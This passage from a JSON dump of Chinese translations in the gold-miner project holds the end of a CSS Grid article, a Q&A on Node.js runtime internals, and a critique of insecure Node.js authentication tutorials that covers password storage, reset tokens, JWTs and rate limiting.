中定义列和行，而不需要在标记语言中定义它们。你不需要其他工具帮助你实现一个看起来像栅格的效果，实际上它就是栅格！\n\n传统的设置布局的方法需要使用行包装器进行标记的原因是，我们是通过为对象分配宽度的方式来伪造网格的。然后我们通过调整对象布局，从而在网格间制造出间隙。在一个基于 float 的网格布局中，你需要将每行元素包装起来并清除浮动，以使下一行中的内容不浮动。在一个基于 Flex 的网格中，需要你对每行定义新的 Flex 容器，或者你需要恰当灵活地使用包装器，`flex-basis` 和 `margin` 来获得相同的效果。\n\nGrid 不需要这些行包装器，因为你已经定义了相应的行轨迹和用于对齐的线条。且不会有网格内的内容溢出到其他行的危险。 如果你定义了行包装器，那么每一行都将成为一个新的一维网格布局。如果你将自己限制在一个维度上，那使用 Grid 并没有比 Flexbox 更好。\n\n## 基于 Grid 的布局框架有什么值得借鉴的地方？\n\n框架这个词在这不是太恰当，但是我认为在一个团队中，一套 Sass helper 在规范化使用 Grid 方面是很有帮助的。如果你已经探究了相关的规范，你会发现要实现相同效果，会有很多种不同的方法。你可以命名区域，使用行号或行名。你可能倾向于明确给出所有元素的位置，或是尽可能依赖于自动布局。如果团队中的每个人都使用不同的方法，最终将使得编写出来的代码难以阅读和维护。\n\n对于代码向后兼容也是如此。如果你已经决定如何处理不支持 Grid 布局的浏览器，某些工具可以帮助你确保你所做的决定能够在不同的地方以相同的效果展现出来。此外，这种方法在项目开发层面上比直接导入其他公司的方法更有用。\n\n在你开始使用新的“Grid Layout 框架”前，请确保你首先了解 Grid 网格布局的工作原理。知道你为什么要创建一个抽象，它提供什么以及使用它的副作用是什么。\n\n## 拥抱新的可能\n\n我刚刚从 Patterns Day 回来，并且 [我的一张幻灯片在 Twitter 上被提及了好几次](https://twitter.com/tomloake/status/880749728782311424)：\n\n> “Flexbox 与 Grid 有很大区别。如果你先使用了旧的方法来进行开发，那你将失去使用 Flexbox 和 Grid 进行创新的可能”。\n\n上面这张 PPT 的背景是处理老版本的浏览器，也就是处理浏览器兼容问题。我鼓励人们首先考虑新的浏览器。要开始使用良好的标记, 首先要为那些支持 Grid 和 Flexbox 等的浏览器进行设计。如果你从旧版本的浏览器开始，会让他们的性能成为限制你能力的因素。\n\n创建规范的标记，整理那些过时了的没有必要的元素。使用 Grid 和其他新方法来设计你的网站。然后, 你可以通过提供一些更简单的东西, 来解决不支持新功能的浏览器的兼容问题。也许你的 Grid 布局设计使用了跨行等设计方案，这种效果很难在不支持额外标记方法的旧版本浏览器中实现精准的布局。你可以使用 flexbox 做向后兼容，创建一个没有跨行的布局方案。虽然这样不那么整洁，但也完全可以使用，而且不需要为数量在逐渐减少的那部分用户来增加额外标记。\n\n你可以 [点击这来看相关示例](https://gridbyexample.com/patterns/header-asmany-span-footer/)。这是我发布在 [Grid by Example](https://gridbyexample.com/) 上的数个带有向后兼容方案的模式之一。\n\n如果把自己限制在过去，例如在旧的浏览器中只能使用 Grid 的部分功能，或使用那些自身受限的框架，那你就会失去使用 Grid 时产生创意的可能。既然这样又何必使用 Grid？你也可以只使用旧的代码方案，但这的确很可惜。\n\n如果你在寻找栅格框架时找到本文，那你找对地方啦！[学习并使用 CSS Grid 布局](https://gridbyexample.com)，可能你没有必要再找除此之外的材料了。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/you-dont-know-node.md",
    "content": "\n> * 原文地址：[You don’t know Node](https://medium.com/@samerbuna/you-dont-know-node-6515a658a1ed)\n> * 原文作者：[Samer Buna](https://medium.com/@samerbuna?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/you-dont-know-node.md](https://github.com/xitu/gold-miner/blob/master/TODO/you-dont-know-node.md)\n> * 译者：[lampui](https://github.com/lampui)\n> * 校对者：[smile](https://github.com/smile-soul)、[Yuuoniy](https://github.com/Yuuoniy)\n\n# 你不知道的 Node\n\n![Official Nodejs logo from nodejs.org](https://cdn-images-1.medium.com/max/2000/1*q9ww_u32hhpMaA-Q_s1ujw.png)\n\n在今年的 Forward.js 大会（一个 JavaScript 峰会），我进行了一场主题为“你不知道的 Node” 的演讲，在那场演讲中，我问了现场观众一系列关于 Node.js 运行时的问题，然而大部分*搞技术*的听众都不能全部回答得上。\n\n我当时并没有真的计算过，直到演讲完了才有一些勇敢的人过来跟我坦白说他们不会。\n\n这个问题正是让我发表演讲的原因，我并不认为我们教授 Node 的方式是对的。大多数关于 Nodejs 的教材内容主要集中在 Node 包和 Node 运行时之外的地方，大多数这些包都在 Node 运行时封装好了模块（例如 _http_ 或 _stream_），问题可能是藏在运行时里面，然而你不懂 Node 运行时的话，你就麻烦了。\n\n> 问题：大多数关于 Nodejs 的教材内容主要集中在 Node 包和 Node 运行时之外的地方。\n\n我挑选了几个问题并组织了一些答案来写成这篇文章，答案就在问题的下面，建议尝试先自己回答。\n\n如果你发现了错误或误导性的回答，请跟我联系。\n\n## 问题 #1：什么是调用栈？它是 V8 的一部分吗？\n\n调用栈百分之百就是 V8 的一部分，它是 V8 用来追踪方法调用的数据结构。每一次我们调用一个方法，V8 在调用栈中放置一个该方法的引用，并且 V8 对每个其他方法的嵌套调用也这样操作，同时也包括那些自身递归调用的方法。\n\n![Screenshot captured from my Pluralsight course — Advanced Node.js](https://cdn-images-1.medium.com/max/800/1*9xKwtu4Gq-a7Pj_tWJ-tog.png)\n\n当方法的嵌套调用结束时，V8 会逐个地将方法从栈中 pop 出来，并在它的位置使用方法的返回值。\n\n为什么这对于理解 Node 是如此关键？因为在每个 Node 进程中你只有一个调用栈。如果你令调用栈处于忙碌，你整个的 Node 进程也将变得忙碌。牢记这一点！\n\n## 问题 #2:什么是事件循环？它是 V8 的一部分吗？\n\n你觉得事件循环在这张图的哪个部分？\n\n![Screenshot captured from my Pluralsight course — Advanced Node.js](https://cdn-images-1.medium.com/max/800/1*nLwOhFq_i4XbxRWUoXMlQQ.png)\n\n答案是 _libuv_ 。事件循环不是 V8 的一部分！\n\n事件循环是操控外部事件并将它们转换为回调调用的实体，它是从事件队列中取出事件并将事件的回调函数推进调用栈的一个循环。并且该循环过程中分为多个独立的阶段。\n\n如果这是你第一次听说事件循环，这些概念对你可能帮助不大。事件循环是一副很大的轮廓图的其中一部分：\n\n![Screenshot captured from my Pluralsight course — Advanced Node.js](https://cdn-images-1.medium.com/max/800/1*lj3_-x3yh-114QzWpFq8Ug.png)\n\n你需要先理解这幅轮廓图再理解事件循环，你需要先理解 V8 在这里面饰演的角色、理解 Node APIs 并知道事件是怎样进入队列并被 V8 处理的。\n\nNode APIs 是像 `setTimeout` 或 `fs.readFile`的一些方法，它们不是 JavaScript 本身的一部分，它们就是 Node 提供的方法。\n\n事件循环在这张图片的中间（一个更复杂的版本，真的）饰演一个组织者的角色。当 V8 调用栈为空的时候，事件循环可以决定接下来执行什么。\n\n## 问题 #3：当调用栈和事件循环队列都为空时，Node 会做什么？\n\nNode 会直接退出。\n\n当你执行一个 Node 程序时，Node 会自动地开始事件循环，当没有事件处理时并且没有其他任务时，Node 则会退出进程。\n\n为了保持一个 Node 进程持续运行，你需要把一些任务放入事件队列中。例如，当你创建一个计时器或一个 HTTP 服务器时，你基本上就是在告诉事件循环要保持并检测这些任务持续执行。\n\n## 问题 #4：除了 V8 和 Libuv，Node 还有哪些外部依赖？\n\n以下是一个 Node 进程可以使用的所有外部的库：\n\n* http-parser\n* c-ares\n* OpenSSL\n* zlib\n\n对 Node 本身来说，上面这些库都是外部的，这些库都有自己的源代码、许可证，Node 只是使用它们而已。\n\n你想记住它们是因为你想知道你的程序执行到哪里了，如果你在做一些数据压缩的工作，有可能是在 zlib 这个库遇到问题，Node 是无辜的。\n\n## 问题 #5：不用 V8 有可能运行一个 Node 进程吗？\n\n这可能是一个奇技淫巧的问题。你肯定是需要一个虚拟机去执行 Node 进程，但 V8 并不是唯一的虚拟机，你还可以使用 Chakra。\n\n查看这个 Github 仓库来跟踪 node-chakra 项目的进度：\n\n- [**nodejs/node-chakracore**\n: node-chakracore - Node.js on ChakraCore](https://github.com/nodejs/node-chakracore \"https://github.com/nodejs/node-chakracore\")\n\n## 问题 #6：module.exports 和 exports 两者的区别？\n\n你可以使用 `module.exports` 导出模块的 API，你也可以使用 `exports`，但有个值得注意的地方：\n\n```\nmodule.exports.g = ...  // Ok\n\nexports.g = ...         // Ok\n\nmodule.exports = ...    // Ok\n\nexports = ...           // Not Ok\n```\n**为什么？**\n\n`exports` 只是一个对 `module.exports` 的引用或别名，当你修改 `exports` 时你其实是在无意中试图修改 `module.exports`，但修改对官方 API （即 `module.exports`）不会产生影响，你只是在模块作用域中得到一个局部变量。\n\n## 问题 #7：为什么顶层变量不是全局变量？\n\n如果你在 `module1` 定义了一个顶层变量 `g`：\n\n```\n// module1.js\n\nvar g = 42;\n```\n\n而你在 `module2` 依赖 `module1`并试图访问这个变量 `g`，你会得到错误 `g is not defined`。\n\n**为什么？** 如果你在浏览器执行相同的操作，你可以在所有脚本中访问顶层定义的变量。\n\n每个 Node 文件在背后都有自己的 IIFE（立即调用函数表达式），所有在一个 Node 文件中声明的变量都被限制在这个 IIFE 的作用域中。\n\n**相关问题**: 在一个 Node 文件中只有下面这一行代码，执行它会输出什么：\n\n```\n// script.js</pre>\n\nconsole.log(arguments);\n```\n\n你会看到一些参数！\n\n![](https://cdn-images-1.medium.com/max/800/1*mLd8sj1_SFudZNisAeiOAQ.png)\n\n**为什么？**\n\n因为 Node 执行的是一个函数。Node 将你的代码包裹在一个函数中，这个函数明确地定义了你上面看到的那 5 个参数。\n\n## 问题 #8：`exports`、`require`、和 `module`三个对象在每个文件中都是全局可用的，但他们在每个文件中又有区别，为什么呢？\n\n当你需要使用 `require` 对象时，你只是像使用全局变量那样直接使用它，然而，如果你在 2 个不同的文件中比较 `require` 对象的区别，你会发现 2 个不同的对象，怎么回事？\n\n还是因为一样的原因 IIFE（立即调用函数表达式）：\n\n![](https://cdn-images-1.medium.com/max/800/1*W926fXZZIUf7vnvE2IOnZg.png)\n\n正如你所见，IIFF 将以下 5 个参数传递到你的代码中：`exports`, `require`, `module`, `__filename`, and `__dirname`。\n\n当你在 Node 中使用这 5 个变量的时候似乎是在使用全局变量，但它们只是函数参数。\n\n## 问题 #9: Node 中的循环依赖是什么？\n\n如果你有一个 `module1` 依赖于 `module2`，而 `module2` 又反过来依赖于 `module1`，这将发生什么？一个错误？\n\n```\n// module1\n\nrequire('./module2');\n\n// module2\n\nrequire('./module1');\n```\n\n放心，不会报错，Node 允许这样做。\n\n所以，`module1` 依赖于 `module2`，但因为 `module2` 又依赖于 `module1`，然而 `module1` 此时还没就绪，`module1` 只会得到 `module2` 的不完整版本。\n\n系统已经发出警告了。\n\n## 问题 #10：什么时候适合使用文件系统的*同步*方法（像 readFileSync）？\n\n每个 Node 中的 `fs` 方法都有一个同步版本，为什么你要使用一个同步方法而不是一个异步方法？\n\n有时使用同步方法挺好的，举个例子，可以在服务器还在一直加载的时候，将同步方法用到任何初始化工作中。通常情况下，在初始化工作完成之后，你接下来的工作是根据获得的数据继续进行作业而不是引入回调级别。使用同步方法是可以接受的，只要你使用的同步方法是一次性的。\n\n然而，如果你在一个像是 HTTP 服务器的 on-request 回调函数里使用同步方法，那就真的是 100% 错误！别那样做。\n\n我希望你能答上一部分或者所有的问题，以下是我写得比较深入 Node.js 细节的文章：\n\n- [Before you bury yourself in packages, learn the Node.js runtime itself](https://medium.freecodecamp.org/before-you-bury-yourself-in-packages-learn-the-node-js-runtime-itself-f9031fbd8b69)\n- [Requiring modules in Node.js: Everything you need to know](https://medium.freecodecamp.org/requiring-modules-in-node-js-everything-you-need-to-know-e7fbd119be8)\n- [Understanding Node.js Event-Driven Architecture](https://medium.freecodecamp.org/understanding-node-js-event-driven-architecture-223292fcbc2d)\n- [Node.js Streams: Everything you need to know](https://medium.freecodecamp.org/node-js-streams-everything-you-need-to-know-c9141306be93)\n- [Node.js Child Processes: Everything you need to know](https://medium.freecodecamp.org/node-js-child-processes-everything-you-need-to-know-e69498fe970a)\n- [Scaling Node.js Applications](https://medium.freecodecamp.org/scaling-node-js-applications-8492bd8afadc)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/your-node-js-authentication-tutorial-is-wrong.md",
    "content": "\n  > * 原文地址：[Your Node.js authentication tutorial is (probably) wrong](https://medium.com/@micaksica/your-node-js-authentication-tutorial-is-wrong-f1a3bf831a46)\n  > * 原文作者：[micaksica](https://medium.com/@micaksica)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/your-node-js-authentication-tutorial-is-wrong.md](https://github.com/xitu/gold-miner/blob/master/TODO/your-node-js-authentication-tutorial-is-wrong.md)\n  > * 译者：[MuYunyun](https://github.com/MuYunyun)\n  > * 校对者：[jasonxia23](https://github.com/jasonxia23)、[lampui](https://github.com/lampui)\n\n  # 关于 Node.js 的认证方面的教程（很可能）是有误的\n\n  我搜索了大量关于 Node.js/Express.js 认证的教程。所有这些都是不完整的，甚至以某种方式造成安全错误，可能会伤害新用户。当其他教程不再帮助你时，你或许可以看看这篇文章，这篇文章探讨了如何避免一些常见的身份验证陷阱。同时我也一直在 Node/Express 中寻找强大的、一体化的解决方案，来与 Rails 的 [devise](https://github.com/plataformatec/devise) 竞争。\n\n> **更新 (8.7)**: 在他们的教程中，RisingStack 已经声明，[不要再以明文存储密码](https://github.com/RisingStack/nodehero-authentication/commit/9d69ea70b68c4971466c64382e5f038e3eda8d8a)，在示例代码和教程中选择使用了 bcrypt。\n\n> **更新 (8.8)**: 编辑标题 **关于 Node.js 的认证方面的教程（很可能）是有误的**，这篇文章已经对这些教程中的一些错误点进行了改正。\n\n在业余时间，我一直在挖掘各种 Node.js 教程，似乎每个 Node.js 开发人员都有一个博客用来发布自己的教程，讲述如何以**正确的方式**做事，或者更准确地说，**他们做事的方式**。数以千计的前端开发人员被投入到服务器端的 JS 漩涡中，试图通过拷贝式的操作或无偿使用的 **npm install** 将这些教程中的可操作的知识拼凑在一起，从而在外包经理或广告代理商给出的期限内完成开发。\n\nNode.js 开发中一个更有问题的事情就是身份验证的程序很大程度上是开发人员在摸索中完成开发的。事实上 Express.js 世界中的认证解决方案是 [Passport](http://passportjs.org/)，它提供了许多用于身份验证的**策略**。如果你想要一个类似于 [Plataformatec 的 devise](https://github.com/plataformatec/devise) 的 Ruby on Rails 的强大的解决方案，你可能会对 [Auth0](https://auth0.com/) 感兴趣，它是一个使认证成为服务的开创项目。\n\n与 Devise 相比，Passport 只是身份验证中间件，不会处理任何其他身份验证：这意味着 Node.js 开发人员可能会定制自己的 API 令牌机制、密码重置令牌机制、用户认证路由、端点、多种模板语言，因此，有很多教程专门为你的 Express.js 应用程序设置 Passport，但是几乎没有完全正确的教程，没有一个正确地实现出 Web 应用程序所需的完整堆栈。\n\n> **请注意**: 我不是故意针对这些教程的开发人员，而是使用他们的身份验证所存在的漏洞后会让自己的身份验证系统产生安全问题。如果你是教程作者，请在更新教程后随时与我联系。让 Node/Express 成为开发人员使用的更安全的生态系统。\n\n### 错误一：凭证存储\n\n让我们从凭证存储开始。存储和调用凭证对于身份管理来说是非常标准的，而传统的方法是在你自己的数据库或应用程序中进行存储或者调用。凭证，作为中间件，简单地说就是“这个用户可以通过”或“这个用户不可以通过”，需要 [passport-local](https://github.com/jaredhanson/passport-local) 模块来处理在你自己的数据库密码存储，这个模块也是由 Passport.js 作者写的。\n\n在我们进入这个教程的兔子洞之前，请记住 OWASP 的[密码存储作弊表](https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet)，它归结为“存储具有独特盐和单向自适应成本函数的高熵密码”。或者先看下 Coda Hale 的 [bcrypt meme](https://codahale.com/how-to-safely-store-a-password/)，即使[有一些争论](https://security.stackexchange.com/a/6415)。\n\n作为一个新的 Express.js 和 Passport 用户，我第一个要讲的地方将是 **passport-local** 本身的示例代码，[十分感谢 passport 官方提供了一个可以克隆和扩展的 Express.js 4.0 应用程序示例](https://github.com/passport/express-4.x-local-example)，从而我可以克隆和扩展。但是，如果我只是拷贝这个例子，我讲不了太多，因为没有数据库支持的例子，它假设我只是使用一些设置好的帐户。\n\n没关系，对吧？**这只是一个内联网应用程序**，开发人员说，**下周将分配给我另外四个项目**。当然，该示例的密码不会以任何方式散列，[并且与本示例中的验证逻辑一起存储在明文中](https://github.com/passport/express-4.x-local-example/blob/master/db/users.js)。在这一点上，甚至没有考虑到凭证存储。\n\n让我们来 google 另一个使用 **passport-local** 的教程。我发现[这个来自 RisingStack 的一个叫“Node Hero”系列的快速教程](https://blog.risingstack.com/node-hero-node-js-authentication-passport-js/)，但从这个教程中我没找到很有用的帮助。他们也[在 GitHub 上提供了一个示例应用程序](https://github.com/RisingStack/nodehero-authentication)，\n但[它与官方的问题相同](https://github.com/RisingStack/nodehero-authentication/blob/7f808f5c8ea756155099b7b4a88390c356cf31be/app/authentication/init.js#L8)。（Ed。8/7/17：RisingStack [**现在使用 bcrypt**](https://github.com/RisingStack/nodehero-authentication/commit/9d69ea70b68c4971466c64382e5f038e3eda8d8a) 在他们的教程应用。）\n\n接下来，[这是第四个结果](http://mherman.org/blog/2015/01/31/local-authentication-with-passport-and-express-4/)，来自写于 2015 年的 Google 产出的 **express js passport-local 教程**。它使用 Mongoose ODM，实际上从我的数据库读取凭据。 这一个教程算是比较完整的，包括集成测试，是的，你可以使用另一个样板。但是，Mongoose ODM [也存储类型为 **String** 的密码](https://github.com/mjhea0/passport-local-express4/blob/master/models/account.js#L7)，所以这些密码也存储在明文中，只是这一次在 MongoDB 实例上。（[人人都知道 MongoDB 实例通常是非常安全的](https://www.shodan.io/report/nlrw9g59)）\n\n你可以指责我择优挑选教程，如果择优挑选意味着从 Google 搜索结果的第一页进行选择，那么你会是对的。让我们选择 [TutsPlus 上更高排名的 **passport-local** 教程](https://code.tutsplus.com/tutorials/authenticating-nodejs-applications-with-passport--cms-21619)。这一个更好，因为[它使用 brypt 的因子为 10 的密码哈希](https://github.com/tutsplus/passport-mongo/blob/master/passport/login.js)，并使用 **process.nextTick** 延迟同步 bcrypt 哈希检查。Google 的最高成绩[来自 scotch.io 的教程](https://scotch.io/tutorials/easy-node-authentication-setup-and-local)，也使用 [成本因子较低为 8 的 bcrypt](https://github.com/scotch-io/easy-node-authentication/blob/local/app/models/user.js#L37)。这两个值都很小，但是 8 真的很小。大多数 **bcrypt** 库现在使用 12。[选择 8 作为成本因子是因为管理员帐户是**十八年前的**](https://www.usenix.org/legacy/publications/library/proceedings/usenix99/provos/provos_html/node6.html)，这个因子数在那时候就能满足需求了。\n\n除了密码存储之外，这些教程都不会实现密码重置功能，这将作为开发人员的一个挑战，并且它附带着自己的陷阱。\n\n### 错误二：密码重置\n\n密码存储的一个姐妹安全问题是密码重置，并且没有一个顶级的基础教程解释了如何使用 Passport 来完成此操作。你必须另寻他法。\n\n有一千种方法去搞砸这个问题。我见过的最常见人们重新设置密码错误是：\n\n1. **可预见的令牌。** 基于当前时间的令牌是一个很好的例子。不良伪随机数发生器产生的令牌相对好些。\n2. **存储不良。** 在数据库中存储未加密的密码重置令牌意味着如果数据库遭到入侵，那些令牌就是明文密码。使用加密安全的随机数生成器生成长令牌会阻止对重置令牌的远程强力攻击，但不会阻止本地攻击。重置令牌是凭据，应该这样处理。\n3. **无令牌到期。** 令牌如果没有到期时间会给攻击者更多的时间利用重置窗口。\n4. **无次要数据验证。**安全问题是**重置**的事实上的数据验证。当然，开发商必须选择一个**好的安全问题**。[安全问题有自己的问题](https://www.kaspersky.com/blog/security-questions-are-insecure/13004/)。虽然这可能看起来像安全性过度，电子邮件地址是你拥有的，而不是你认识的内容，并且会将身份验证因素混合在一起。你的电子邮件地址成为每个帐户的关键，只需将重置令牌发送到电子邮件。\n\n如果你是第一次接触这些内容，请尝试 OWASP 的[密码重置工作表](https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet)。让我们回到 Node 中看看它为此提供给我们的东西。\n\n我们将转移到 **npm** 一秒钟，并[重新查找密码重置](https://www.npmjs.com/search?q=password%20reset&amp;page=1&amp;ranking=popularity)，看看是否已有人做到这一点。有一个已有五年历史的 package（通常意味着它很棒）。在 Node.js 的时间轴上，这个模块就像是侏罗纪时代的，如果我想要鸡蛋里挑骨头，[Math.random() 可以在 V8 中预测](https://security.stackexchange.com/questions/84906/predicting-math-random-numbers)，因此[它不应该用于令牌生成码](https://github.com/substack/node-password-reset/blob/master/index.js#L73)。此外，它不使用 Passport，所以我们继续前进。\n\nStack Overflow 上获取不了太多的帮助，因为一个名叫 Stormpath 的公司的开发人员喜欢在可以想象到的每一个跟这个相关的帖子上都插入他们的 IaaS 启动教程。[他们的文档也随处可见](https://docs.stormpath.com/client-api/product-guide/late%20Passwordword_reset.html)，他们也有[关于密码重置的博客广告](https：//stormpath.com/blog/the-pain-of-password-reset)。但是，所有这一切都随着 Stormpath 的停业已经停止了，它们公司于 2017 年 8 月 17 日[完全关闭](https://stormpath.com/)。\n\n好的，回到谷歌，这里似乎存在唯一的教程。我们找到了 Google 搜索 **express passport 密码重置的**[第一个结果](http://sahatyalkabov.com/how-to-implement-password-reset-in-nodejs/)。还是我们的老朋友 **bcrypt**。文章中使用了更小的成本因子 5，这远远低于了现代使用的成本因素。\n\n但是，与其他教程相比，这篇教程相当实用，因为它使用 **crypto.randomBytes** 来生成真正的随机标记，如果不使用它们，则会过期。然而，上述实践中的 ＃2 和 ＃4 与这个全面的教程不符，因此密码令牌本身容易受到认证错误，凭据存储的影响。\n\n幸运的是，由于重置到期，这是有限的使用。但是，如果攻击者通过 BSON 注入对数据库中的用户对象进行读取访问，或由于配置错误，可以自由访问 Mongo，这些令牌将非常危险了。攻击者只需为每个用户发出密码重置，从 DB 读取未加密的令牌，并为用户帐户设置自己的密码，而不必经历使用 GPU 装备对 bcrypt 散列进行的昂贵的字典攻击过程。\n\n### 错误三：API 令牌\n\nAPI 令牌是凭据。它们与密码或重置令牌一样敏感。大多数开发人员都知道这一点，并尝试将他们的 AWS 密钥、Twitter 秘密等保留在他们胸前，但是这似乎并没有转移到被编写的代码中。\n\n让我们使用 [JSON Web 令牌](https://jwt.io/)获取 API 凭据。拥有一个无状态的、可添加黑名单的、可自定义的令牌比十年来使用的旧 API 密钥/私密模式更好。也许我们的初级 Node.js 开发人员曾经听说过 JWT，或者看到过 **passport-jwt**，并决定实施 JWT 策略。无论如何，接触 JWT 的人都会或多或少地受到 Node.js 的影响。（尊敬的[Thomas Ptacek 会认为 JWT 不好](https://news.ycombinator.com/item?id=13866883)，但恐怕船已经在这里航行。）\n\n我们在 Google 上搜索 **express js jwt**，然后找到 [Soni Pandey](https://medium.com/@pandeysoni) 的教程[使用 Node.js 中的 JWT（JSON Web 令牌）进行用户验证](https://medium.com/@pandeysoni/user-authentication-using-jwt-json-web-token-in-node-js-using-express-framework-543151a38ea1)，。不幸的是，这教程实际上并不帮助我们，因为它没使用凭证，但是当我们在这里时，我们会很快注意到凭据存储中的错误：\n\n1. 我们将 [以明文形式将 JWT 密钥存储在存储库中](https://github.com/pandeysoni/User-Authentication-using-JWT-JSON-Web-Token-in-Node.js-Express/blob/master/server/config/config.js#L13)。\n2. 我们将[使用对称密码存储密码](https://github.com/pandeysoni/User-Authentication-using-JWT-JSON-Web-Token-in-Node.js-Express/blob/master/server/config/common.js#L54)。这意味着我可以获得加密密钥，并在发生违规时解密所有密码。加密密钥与 JWT 秘密共享。\n3. 我们将使用 AES-256-CTR 进行密码存储。我们不应该使用 AES 来启动，而且这种操作模式没有什么帮助。我不知道为什么选择这个特别的模式，但是[单一的选择让密文具有延展性](https://crypto.stackexchange.com/a/33861)。\n\n让我们回到 Google，接着寻找下一个教程。Scotch，在 passport-local 教程中做了一个密码存储的工作，比如[只是忽略他们以前告诉你的东西，并将密码存储在明文中](https://github.com/scotch-io/node-token-authentication/blob/master/app/models/user.js#L7)。\n\n好吧，我们会给出一个简短的凭证教程，但这并不能帮助只是拷贝的开发者。因为更有趣的是，这个教程[将这个 mongoose User 对象序列化到 JWT 中](https://github.com/scotch-io/node-token-authentication/blob/master/server.js#L81)。\n\n让我们克隆 Scotch 的这个资源库，按照说明进行运行。可以无视一些来自 Mongoose 的警告，我们可以输入 [**http://localhost:8080/setup**](http://localhost:8080/setup) 来创建用户，然后通过使用 “Nick Cerminara” 和 “password” 的默认凭证调用 /api/authenticate 拿到令牌。这个令牌返回并显示在了 Postman 上。\n\n![](https://cdn-images-1.medium.com/max/1600/1*wvb2F4-Rx4I1ji2EJIyXZg.png)\n\n从 Scotch 教程返回的 JWT 令牌。\n\n请注意，JSON Web 令牌已签名但未加密。这意味着两个时期之间的大斑点是一个 Base64 编码对象。快速解码后，我们得到一些有趣的东西。\n\n![](https://cdn-images-1.medium.com/max/1600/1*5KcDyNtIfWXVe9uVUD0A_g.png)\n\n我喜欢在明文的密码中使用令牌。\n现在，任何一个包括存储在 Mongoose 模型**甚至过期的令牌**都有你的密码。鉴于这个来自HTTP，我可以把它从线上找出来。\n\n下一个教程怎么样呢？下一个教程，[**针对初学者的 Express、Passport 和 JSON Web 令牌（jwt)**](https://jonathanmh.com/express-passport-json-web-token-jwt-authentication-beginners/)，包含相同的信息泄露漏洞。下篇教程来自 [SlatePeak 的一篇做了同样的序列化文章](http://blog.slatepeak.com/creating-a-simple-node-express-api-authentication-system-with-passport-and-jwt/)。在这一点上，我放弃了阅读。\n\n### 错误四：限速\n\n如上所述，我没有在任何这些身份验证教程中找到关于速率限制或帐户锁定的问题。\n\n没有速率限制，攻击者可以执行在线字典攻击，比如运行 [Burp Intruder](https://portswigger.net/burp/help/intruder_using.html) 等工具，去获得获取访问密码较弱的帐户。帐户锁定还可以通过在下次登录时要求用户填写扩展登录信息来帮助解决此问题。\n\n请记住，速率限制还有助于可用性。**跨平台文件加密工具**是一个 CPU 密集型功能，没有速率限制功能，使用跨平台文件加密工具会让应用程序拒绝服务，特别是在 CPU 高数运行时。比如用户注册或检查登录密码的多个请求尽管是轻量级的 HTTP 的请求，但是会花费服务器大量的昂贵时间。\n\n虽然我没有教程可以证明这点，但 Express 有很多速率限制的技术，例如 [express-rate-limit](https://github.com/nfriedly/express-rate-limit)，[express-limiter](https://www.npmjs.com/package/express-limiter) 以及 [express-brute](https://github.com/AdamPflug/express-brute)。我不能评价这些模块的安全性，甚至没有看过它们；无论你的负载平衡用的是什么，通常我[推荐在生产中运行逆向代理](https://expressjs.com/en/advanced/best-practice-performance.html#use-a-reverse-proxy)，并允许[由 nginx 限制请求处理速率](https://www.nginx.com/blog/rate-limiting-nginx/)。\n\n### 身份验证是困难的\n\n我相信这些有错误的教程开发人员会辩解说，“这只是为了解释基础！没有人会在生产中这样做的！”但是，我再三强调了**这是多么错误**。当你的教程中的代码被放在这里时，人们就会参考并使用你的代码，毕竟，你比他们有更多的专业知识。\n\n**如果你是初学者，请不要信任你的教程。** 拷贝教程中的例子可能会让你、你的公司和你的客户在 Node.js 世界中遇到身份验证问题。如果你真的需要强大的生产完善的一体化身份验证库，那么可以使用更好的手段，比如使用具有更好的稳定性，而且更加经验证的 Rails/Devise。\n\nNode.js 生态系统虽然容易接近，但对需要匆忙编写部署于生产环境的 Web 应用程序的 JavaScript 开发人员来说，仍然有很多尖锐的未解决的点。如果你有前端的背景，不知道其他的编程语言，我个人认为，使用 Ruby 是一个不错的选择，毕竟站在巨人的肩膀上比从头开始学习这些类型的东西要容易。\n\n如果你是教程作者，请更新你的教程，**特别是**样板代码。这些代码将可能被其他人拷贝到生产环境中的 web 应用程序。\n\n如果你是一个 Node.js 的铁杆使用者，希望你在这篇文章中学到一些关于使用用凭证验证身份的知识。你可能会遇到什么问题。这篇文章中我还没有找到完美的方法来完全避免以上错误。为你的 Express 应用程序增加凭证验证不应该是你的工作。应该有更好的办法。\n\n如果你有兴趣更好地维护 Node 生态系统，请在 Twitter 上发送给我 [@_micaksica](https://twitter.com/_micaksica)。\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 